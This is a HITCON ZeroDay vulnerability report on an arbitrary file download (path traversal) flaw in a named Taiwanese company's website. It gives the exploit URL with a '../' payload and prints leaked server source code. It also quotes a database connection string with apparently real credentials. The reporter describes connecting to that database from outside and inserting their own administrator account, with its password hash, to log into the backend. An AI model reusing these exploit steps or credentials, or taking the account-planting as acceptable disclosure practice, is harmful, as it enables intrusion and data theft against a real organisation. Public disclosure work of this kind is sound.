美磊科技股份有限公司 Arbitrary File Download Vulnerability - HITCON ZeroDay

Vulnerability Detail Report

Vulnerability Overview

  • ZDID: ZD-2018-01163
  •  發信 Vendor: 美磊科技股份有限公司
  • Title: 美磊科技股份有限公司 Arbitrary File Download Vulnerability
  • Introduction: Arbitrary File Download Vulnerability

處理狀態

目前狀態

公開
Last Update : 2018/10/19
  • 新提交
  • 已審核
  • 已通報
  • 未回報修補狀況
  • 未複測
  • 公開

處理歷程

  • 2018/08/19 22:59:16 : 新提交 (由 Hzllaga 更新此狀態)
  • 2018/08/20 23:54:45 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2018/08/21 10:09:12 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2018/08/21 10:09:12 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2018/08/21 10:09:12 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2018/10/19 03:00:04 : 公開 (由 HITCON ZeroDay 平台自動更新)

詳細資料

  • ZDID:ZD-2018-01163
  • 通報者:haihai (Hzllaga)
  • 風險:低
  • 類型:任意檔案下載 (Arbitrary File Download)

參考資料

攻擊者可經由該漏洞取得後端系統中的任意資料(包含主機之敏感檔案)。

OWASP Top 10 - 2017 A5 - Broken Access Control
https://www.owasp.org/index.php/Top_10-2017_A5-Broken_Access_Control

OWASP Top 10 - 2013 A4 - Insecure Direct Object References
https://www.owasp.org/index.php/Top_10_2013-A4-Insecure_Direct_Object_References

CWE-284: Improper Access Control
https://cwe.mitre.org/data/definitions/284.html

OWASP - Path Traversal 及防禦方式
https://www.owasp.org/index.php/Path_Traversal

CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
https://cwe.mitre.org/data/definitions/22.html
(本欄位資訊由系統根據漏洞類別自動產生,做為漏洞參考資料。)

相關網址

http://www.maglayers.com.cn/language/down.php?hDFile={file}

敘述

首先下載down.php 來看:http://www.maglayers.com.cn/language/down.php?hDFile=../language/down.php

<?php
    $pDFile         = $_REQUEST["hDFile"];     //類型
    $pSFile         = $_REQUEST["hDFile"];     //檔名
    //路徑直接鎖定,避免駭客利用這個漏洞 basename直接取檔名的語法
    (!empty($pDFile) && !empty($pSFile))    or  die("<script>alert('File not found!!');history.back();</script>");
    $pFileDir       = '../upfiles/';  //指定路徑
    $pSFile=basename($pSFile);
    if (file_exists($pFileDir.$pDFile)) {
        //$pType        = mime_content_type($pFileDir.$pFileName);
        $pType      = "Application/Octet-stream";
        $pFile      = @fopen($pFileDir.$pDFile,"rb");
        $pSize      = @filesize($pFileDir.$pDFile);
        $pContent   = @fread($pFile,$pSize);
        @fclose($pFile);

        if($_GET['fn']){
            $xdown_str=urlencode($_GET['fn']);
            $file_str=explode('.',basename($pSFile));
            $file_num=sizeof($file_str);
            $xdown_str.='.'.$file_str[$file_num-1];
        }
        if(!$xdown_str){
            $xdown_str=basename($pSFile);
        }
        //抓下載檔名_end

        //header("Content-type:$pType");
        header("Content-type: application/octet-stream");
        header("Content-Disposition:attachment;filename=\"".$xdown_str."\"");
        header("Content-length:$pSize");
        header("Content-Transfer-Encoding:binary");
        header("Pragma:no-cache");

        echo($pContent);
        flush();
    } else {
        echo "<script language='javascript'>alert('File not found!!');history.back();</script>";
        exit;
    }

?>

限制沒寫好,所以一樣能跳出目錄下載任意文件

接著看到有個fckeditor,是舊版的,可以上傳任意文件,不過被.htaccess寫死了,不讓執行

SetHandler none
SetHandler default-handler

Options -ExecCGI
php_flag engine off
RemoveHandler .cgi .php .php3 .php4 .php5 .phtml .pl .py .pyc .pyo .txt
RemoveType .cgi .php .php3 .php4 .php5 .phtml .pl .py .pyc .pyo .txt

<Files *>
    SetHandler default-handler
</Files>

接著看後台,下載相關文件來看
/include/php_script/common.php

$DB_str = "mysql,localhost,maglayers,maglayerscomtw,maglayers0223";

可以外連,很舒服。

/admin/functions.php

    ValueConform($_POST['xloginid'], 3, "login.php");
    $xloginid = addslashes($_POST['xloginid']);
    $xpasswd = md5(crypt($_POST['xpasswd'],"zx"));
    $sql = "select * from admin_tb where xloginid='".$xloginid."' and xpasswd='".$xpasswd."'";

自己到資料庫添加xloginid=haihai;xpasswd=0fd91c4773eb03bc1e0538ee7ada80e9 就能以haihai/haihai登入後台了
圖片
後台相關上傳程式也是寫死的,挺安全的,唯一的缺點就是只能支援低版本的IE瀏覽器。
圖片

擷圖

留言討論

聯絡組織

 發送私人訊息
您也可以透過私人訊息的方式與組織聯繫,討論有關於這個漏洞的相關資訊。
;